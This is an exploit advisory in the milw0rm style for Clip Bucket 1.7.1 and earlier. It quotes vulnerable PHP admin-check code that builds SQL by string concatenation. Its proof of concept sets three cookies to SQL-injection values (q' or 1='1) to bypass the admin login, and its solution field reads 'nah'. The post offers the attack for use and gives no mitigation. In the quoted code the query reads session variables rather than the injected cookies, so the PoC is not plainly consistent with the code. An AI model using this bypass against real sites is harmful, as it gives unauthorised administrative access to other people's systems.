Clip Bucket <= 1.7.1 Insecure Cookie Handling Vulnerability

|| || | || o_,_7 _|| . _o_7 _|| q_|_|| o_\\\_, ( : / (_) / ( . ___________________ _/QQQQQQQQQQQQQQQQQQQ\__ __/QQQ/````````````````\QQQ\___ _/QQQQQ/ \QQQQQQ\ /QQQQ/`` ```QQQQ\ /QQQQ/ \QQQQ\ |QQQQ/ By Qabandi \QQQQ| |QQQQ| |QQQQ| |QQQQ| From Kuwait, PEACE... |QQQQ| |QQQQ| |QQQQ| |QQQQ\ iqa[a]hotmail.fr /QQQQ| \QQQQ\ __ /QQQQ/ \QQQQ\ /QQ\_QQQQ/ \QQQQ\ \QQQQQQQ/ \QQQQQ\ /QQQQQ/_ ``\QQQQQ\_____________/QQQ/\QQQQ\_ ``\QQQQQQQQQQQQQQQQQQQ/ `\QQQQ\ ``````````````````` ````` =Vuln: Clip Bucket &#60;= 1.7.1 Insecure Cookie Handling =INFO: http://clip-bucket.com/ =BUY: --- =Download: http://clip-bucket.com/download =DORK: :) ____________ _-=/:Conditions:\=-_ ```````````````````````````````````````````````````````````````````````````````` Magic_quotes MUST BE OFF ---------------------------------------===-------------------------------------- _________________ _-=/:Vulnerable_Code:\=-_ ```````````````````````````````````````````````````````````````````````````````` // in &#34;\includes\classes\user.class.php&#34; function admin_check(){ $admin = &#39;Admin&#39;; if(isset($_COOKIE[&#39;userid&#39;]) && isset($_COOKIE[&#39;username&#39;]) && isset($_COOKIE[&#39;session&#39;])) { $userid = @$_SESSION[&#39;userid&#39;]; $username = @$_SESSION[&#39;username&#39;]; $session = @$_COOKIE[&#39;PHPSESSID&#39;]; $query = mysql_query(&#34;SELECT * FROM users WHERE level=&#39;&#34;.$admin.&#34;&#39; AND username =&#39;&#34;.$username.&#34;&#39; AND userid = &#39;&#34;.$userid.&#34;&#39; AND session=&#39;&#34;.$session.&#34;&#39;&#34;); if(mysql_num_rows($query)&#62;0){ $answer = 1; return $answer; }else{ $answer = 0; return $answer; } } } ---------------------------------------===-------------------------------------- _______ _-=/:P.o.C:\=-_ ```````````````````````````````````````````````````````````````````````````````` Set Cookies: userid=q&#39; or 1=&#39;1 username=q&#39; or 1=&#39;1 session=q&#39; or 1=&#39;1 ---------------------------------------===-------------------------------------- __________ _-=/:SOLUTION:\=-_ ```````````````````````````````````````````````````````````````````````````````` nah ---------------------------------------===-------------------------------------- ______________________________________________________________________________ / \ | ---------------------------------------------------------------------- | \______________________________________________________________________________/ \ No More Private / ````````````````` Salamz to All Muslim Hackers. # milw0rm.com [2009-07-24]